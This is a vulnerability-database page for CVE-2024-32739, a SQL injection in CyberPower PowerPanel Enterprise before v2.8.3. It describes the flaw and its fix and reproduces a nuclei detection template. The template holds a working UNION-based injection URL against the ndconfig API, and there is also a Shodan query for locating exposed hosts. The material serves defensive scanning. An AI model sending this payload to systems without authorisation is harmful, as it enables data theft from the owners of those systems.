HexBrain

Browse / CVEs / CVE-2024-32739

CVE-2024-32739

CyberPower < v2.8.3 - SQL Injection

highseverity
7.5CVSS score
5.4%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

A sql injection vulnerability exists in CyberPower PowerPanel Enterprise prior to v2.8.3.

Impact

An unauthenticated remote attacker can leak sensitive information via the "query_ptask_verbose" function within MCUDBHelper.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/v1/ndconfig?mode=&uid=1'%20UNION%20select%201,2,3,sqlite_version();--
Positive when: contains ":\"finished\"" and "\"results\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-32739 -u <target>

The full check
id: CVE-2024-32739

info:
  name: CyberPower < v2.8.3 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    A sql injection vulnerability exists in CyberPower PowerPanel Enterprise prior to v2.8.3.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An unauthenticated remote attacker can leak sensitive information via the "query_ptask_verbose" function within MCUDBHelper.
  reference:
    - https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
    - https://www.tenable.com/security/research/tra-2024-14
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32739
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-32739
    epss-score: 0.05408
    epss-percentile: 0.92756
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"<title>PDNU</title>"
  tags: cve,cve2024,cyberpower,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/ndconfig?mode=&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ':"finished"'
          - '"results":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"code":"([0-9.]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from